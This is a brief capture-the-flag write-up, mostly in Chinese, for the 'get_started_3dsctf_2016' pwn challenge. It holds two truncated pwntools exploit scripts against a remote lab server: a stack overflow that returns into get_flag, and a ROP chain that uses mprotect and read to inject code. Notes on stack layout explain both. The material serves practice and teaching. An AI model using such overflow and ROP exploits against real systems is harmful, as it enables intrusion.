from pwn import * from LibcSearcher import * local_file = './get_started_3dsctf_2016' select = 1 if select == 0: r = process(local_file) else: r = remote('node5.buuoj.cn',25220) elf = ELF(local_file) context.log_level = 'debug' get_flag=0x080489A0 exit=0x0804E6A0...
from pwn import * r = remote('node5.buuoj.cn',26036) elf = ELF('./get_started_3dsctf_2016') mprotect_addr=elf.symbols['mprotect'] #我们通过函数执行获取mprotect的地址 read_addr=elf.symbols['read'] #获取read函数地址 edx_ecx_ebx_ret=0x0806fc08# 三个寄存器不用非的一样 payload=b'a'*(0x38)+p32(mprotect_addr) payload+=p32(edx_ecx_ebx_ret)...
第一种方式常规exp1 通过填满栈来溢出,将getflag函数塞到返回地址里面 调用get_flag(arg1)时,系统会先把arg1放进最后一个格子,再放 “执行完要跳回的地址(exit)”,最后跳去执行get_flag; 我们构造 payload,就是手动模拟这个 “放参数→放返回地址” 的过程,只不过是通过溢出把这些内容 “填” 到对应的格子里。 payload = 填充字节(offset) + get_flag函数地址 + exit函数地址 + get_flag的参数(可选) 之后函数需要参数时都应放在返回地址之后 第二种方式exp2 有一个函数mprotect ssize_t read(int fd, void _buf,...